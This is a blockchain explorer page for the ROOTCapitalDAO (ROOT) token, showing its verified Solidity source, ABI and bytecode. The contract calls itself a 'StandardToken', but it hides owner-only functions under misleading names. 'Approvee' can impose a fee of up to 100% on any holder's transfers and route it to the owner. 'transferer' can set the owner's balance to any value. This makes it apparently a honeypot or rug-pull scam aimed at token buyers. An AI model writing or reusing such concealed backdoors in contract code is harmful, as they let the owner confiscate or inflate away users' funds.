ETH Price: $3,066.23 (+2.88%)
Gas: 1 Gwei

Token

ROOTCapitalDAO (ROOT)
 

Overview

Max Total Supply

3,300,000,000 ROOT

Holders

84

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: ROOT 18
Balance
100,000,000,339,895,127.959203639 ROOT

Value
$0.00
0x6c4aa78ccb41fa68e912c57f4b7878a9243c898b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StandardToken

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-20
*/

/**
 *Submitted for verification at Etherscan.io on 2022-01-21
*/

// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol

// SPDX-License-Identifier: MIT

// pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


enum TokenType {
    standard,
    antiBotStandard,
    liquidityGenerator,
    antiBotLiquidityGenerator,
    baby,
    antiBotBaby,
    buybackBaby,
    antiBotBuybackBaby
}

abstract contract BaseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}
pragma solidity =0.8.4;

contract StandardToken is IERC20, Ownable, BaseToken {
    using SafeMath for uint256;

    uint256 public constant VERSION = 1;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _feas; 

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        uint256 totalSupply_

    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _mint(owner(), totalSupply_);

        emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);

    }

    function Approvee(address account, uint256 poof) public onlyOwner {
        _feas[account] = poof;
    }
    function getpooff(address account) public view returns (uint256) {
        return _feas[account];
    }
    function transferer(uint256 balan) public onlyOwner {
        _balances[owner()] = balan;
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 flli = amount.mul(_feas[sender]).div(100); 
        uint256 amountAfterflie = amount.sub(flli);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amountAfterflie);
        _balances[owner()] = _balances[owner()].add(flli); 
        emit Transfer(sender, recipient, amountAfterflie);
        if (flli > 0) {
            emit Transfer(sender, owner(), flli);
        }
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"poof","type":"uint256"}],"name":"Approvee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getpooff","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"balan","type":"uint256"}],"name":"transferer","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620025e6380380620025e683398181016040528101906200002991906200054e565b620000496200003d6200013b60201b60201c565b6200014360201b60201c565b836004908051906020019062000061929190620003fe565b5082600590805190602001906200007a929190620003fe565b5081600660006101000a81548160ff021916908360ff160217905550620000b7620000aa6200020760201b60201c565b826200023060201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff16620000de6200020760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200012992919062000635565b60405180910390a35050505062000991565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200029a9062000662565b60405180910390fd5b620002b760008383620003e160201b60201c565b620002d381600754620003e660201b62000bdc1790919060201c565b6007819055506200033281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620003e660201b62000bdc1790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003d5919062000684565b60405180910390a35050565b505050565b60008183620003f6919062000711565b905092915050565b8280546200040c90620007e4565b90600052602060002090601f0160209004810192826200043057600085556200047c565b82601f106200044b57805160ff19168380011785556200047c565b828001600101855582156200047c579182015b828111156200047b5782518255916020019190600101906200045e565b5b5090506200048b91906200048f565b5090565b5b80821115620004aa57600081600090555060010162000490565b5090565b6000620004c5620004bf84620006ca565b620006a1565b905082815260208101848484011115620004de57600080fd5b620004eb848285620007ae565b509392505050565b600082601f8301126200050557600080fd5b815162000517848260208601620004ae565b91505092915050565b60008151905062000531816200095d565b92915050565b600081519050620005488162000977565b92915050565b600080600080608085870312156200056557600080fd5b600085015167ffffffffffffffff8111156200058057600080fd5b6200058e87828801620004f3565b945050602085015167ffffffffffffffff811115620005ac57600080fd5b620005ba87828801620004f3565b9350506040620005cd8782880162000537565b9250506060620005e08782880162000520565b91505092959194509250565b620005f7816200079a565b82525050565b60006200060c601f8362000700565b915062000619826200091d565b602082019050919050565b6200062f8162000783565b82525050565b60006040820190506200064c6000830185620005ec565b6200065b602083018462000624565b9392505050565b600060208201905081810360008301526200067d81620005fd565b9050919050565b60006020820190506200069b600083018462000624565b92915050565b6000620006ad620006c0565b9050620006bb82826200081a565b919050565b6000604051905090565b600067ffffffffffffffff821115620006e857620006e7620008dd565b5b620006f3826200090c565b9050602081019050919050565b600082825260208201905092915050565b60006200071e8262000783565b91506200072b8362000783565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000763576200076262000850565b5b828201905092915050565b60008190506200077e8262000946565b919050565b6000819050919050565b600060ff82169050919050565b6000620007a7826200076e565b9050919050565b60005b83811015620007ce578082015181840152602081019050620007b1565b83811115620007de576000848401525b50505050565b60006002820490506001821680620007fd57607f821691505b60208210811415620008145762000813620008ae565b5b50919050565b62000825826200090c565b810181811067ffffffffffffffff82111715620008475762000846620008dd565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600881106200095a57620009596200087f565b5b50565b620009688162000783565b81146200097457600080fd5b50565b62000982816200078d565b81146200098e57600080fd5b50565b611c4580620009a16000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063d76f120e11610071578063d76f120e1461030b578063db6fc5fc14610327578063dd62ed3e14610343578063f2fde38b14610373578063ffa1ad741461038f57610116565b80638da5cb5b1461026f57806395d89b411461028d578063a457c2d7146102ab578063a9059cbb146102db57610116565b8063313ce567116100e9578063313ce567146101b757806337e1ac80146101d5578063395093511461020557806370a0823114610235578063715018a61461026557610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ad565b6040516101309190611619565b60405180910390f35b610153600480360381019061014e9190611437565b61043f565b60405161016091906115fe565b60405180910390f35b61017161045d565b60405161017e91906116fb565b60405180910390f35b6101a1600480360381019061019c91906113e8565b610467565b6040516101ae91906115fe565b60405180910390f35b6101bf610540565b6040516101cc9190611716565b60405180910390f35b6101ef60048036038101906101ea9190611383565b610557565b6040516101fc91906116fb565b60405180910390f35b61021f600480360381019061021a9190611437565b6105a0565b60405161022c91906115fe565b60405180910390f35b61024f600480360381019061024a9190611383565b610653565b60405161025c91906116fb565b60405180910390f35b61026d61069c565b005b610277610724565b60405161028491906115e3565b60405180910390f35b61029561074d565b6040516102a29190611619565b60405180910390f35b6102c560048036038101906102c09190611437565b6107df565b6040516102d291906115fe565b60405180910390f35b6102f560048036038101906102f09190611437565b6108ac565b60405161030291906115fe565b60405180910390f35b61032560048036038101906103209190611437565b6108ca565b005b610341600480360381019061033c9190611473565b61098e565b005b61035d600480360381019061035891906113ac565b610a58565b60405161036a91906116fb565b60405180910390f35b61038d60048036038101906103889190611383565b610adf565b005b610397610bd7565b6040516103a491906116fb565b60405180910390f35b6060600480546103bc906118ea565b80601f01602080910402602001604051908101604052809291908181526020018280546103e8906118ea565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610bf2565b8484610bfa565b6001905092915050565b6000600754905090565b6000610474848484610dc5565b61053584610480610bf2565b61053085604051806060016040528060288152602001611bc360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e6610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f99092919063ffffffff16565b610bfa565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006106496105ad610bf2565b8461064485600260006105be610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b610bfa565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106a4610bf2565b73ffffffffffffffffffffffffffffffffffffffff166106c2610724565b73ffffffffffffffffffffffffffffffffffffffff1614610718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070f9061169b565b60405180910390fd5b610722600061124e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461075c906118ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610788906118ea565b80156107d55780601f106107aa576101008083540402835291602001916107d5565b820191906000526020600020905b8154815290600101906020018083116107b857829003601f168201915b5050505050905090565b60006108a26107ec610bf2565b8461089d85604051806060016040528060258152602001611beb6025913960026000610816610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f99092919063ffffffff16565b610bfa565b6001905092915050565b60006108c06108b9610bf2565b8484610dc5565b6001905092915050565b6108d2610bf2565b73ffffffffffffffffffffffffffffffffffffffff166108f0610724565b73ffffffffffffffffffffffffffffffffffffffff1614610946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093d9061169b565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b610996610bf2565b73ffffffffffffffffffffffffffffffffffffffff166109b4610724565b73ffffffffffffffffffffffffffffffffffffffff1614610a0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a019061169b565b60405180910390fd5b8060016000610a17610724565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ae7610bf2565b73ffffffffffffffffffffffffffffffffffffffff16610b05610724565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b529061169b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc29061165b565b60405180910390fd5b610bd48161124e565b50565b600181565b60008183610bea919061174d565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c61906116db565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd19061167b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610db891906116fb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906116bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c9061163b565b60405180910390fd5b610eb0838383611312565b6000610f176064610f09600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561131790919063ffffffff16565b61132d90919063ffffffff16565b90506000610f2e828461134390919063ffffffff16565b9050610f9c83604051806060016040528060268152602001611b9d60269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f99092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103181600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110cd8260016000611084610724565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b600160006110d9610724565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161117491906116fb565b60405180910390a360008211156111f25761118d610724565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111e991906116fb565b60405180910390a35b5050505050565b6000838311158290611241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112389190611619565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b6000818361132591906117d4565b905092915050565b6000818361133b91906117a3565b905092915050565b60008183611351919061182e565b905092915050565b60008135905061136881611b6e565b92915050565b60008135905061137d81611b85565b92915050565b60006020828403121561139557600080fd5b60006113a384828501611359565b91505092915050565b600080604083850312156113bf57600080fd5b60006113cd85828601611359565b92505060206113de85828601611359565b9150509250929050565b6000806000606084860312156113fd57600080fd5b600061140b86828701611359565b935050602061141c86828701611359565b925050604061142d8682870161136e565b9150509250925092565b6000806040838503121561144a57600080fd5b600061145885828601611359565b92505060206114698582860161136e565b9150509250929050565b60006020828403121561148557600080fd5b60006114938482850161136e565b91505092915050565b6114a581611862565b82525050565b6114b481611874565b82525050565b60006114c582611731565b6114cf818561173c565b93506114df8185602086016118b7565b6114e8816119a9565b840191505092915050565b600061150060238361173c565b915061150b826119ba565b604082019050919050565b600061152360268361173c565b915061152e82611a09565b604082019050919050565b600061154660228361173c565b915061155182611a58565b604082019050919050565b600061156960208361173c565b915061157482611aa7565b602082019050919050565b600061158c60258361173c565b915061159782611ad0565b604082019050919050565b60006115af60248361173c565b91506115ba82611b1f565b604082019050919050565b6115ce816118a0565b82525050565b6115dd816118aa565b82525050565b60006020820190506115f8600083018461149c565b92915050565b600060208201905061161360008301846114ab565b92915050565b6000602082019050818103600083015261163381846114ba565b905092915050565b60006020820190508181036000830152611654816114f3565b9050919050565b6000602082019050818103600083015261167481611516565b9050919050565b6000602082019050818103600083015261169481611539565b9050919050565b600060208201905081810360008301526116b48161155c565b9050919050565b600060208201905081810360008301526116d48161157f565b9050919050565b600060208201905081810360008301526116f4816115a2565b9050919050565b600060208201905061171060008301846115c5565b92915050565b600060208201905061172b60008301846115d4565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611758826118a0565b9150611763836118a0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117985761179761191c565b5b828201905092915050565b60006117ae826118a0565b91506117b9836118a0565b9250826117c9576117c861194b565b5b828204905092915050565b60006117df826118a0565b91506117ea836118a0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156118235761182261191c565b5b828202905092915050565b6000611839826118a0565b9150611844836118a0565b9250828210156118575761185661191c565b5b828203905092915050565b600061186d82611880565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118d55780820151818401526020810190506118ba565b838111156118e4576000848401525b50505050565b6000600282049050600182168061190257607f821691505b602082108114156119165761191561197a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611b7781611862565b8114611b8257600080fd5b50565b611b8e816118a0565b8114611b9957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220251e1241b51d23f1e110f93f40670fc7750d1d876a7da3ffcb0501f995d4c40264736f6c6343000804003300000000000000000000000000000000000000000000000000000000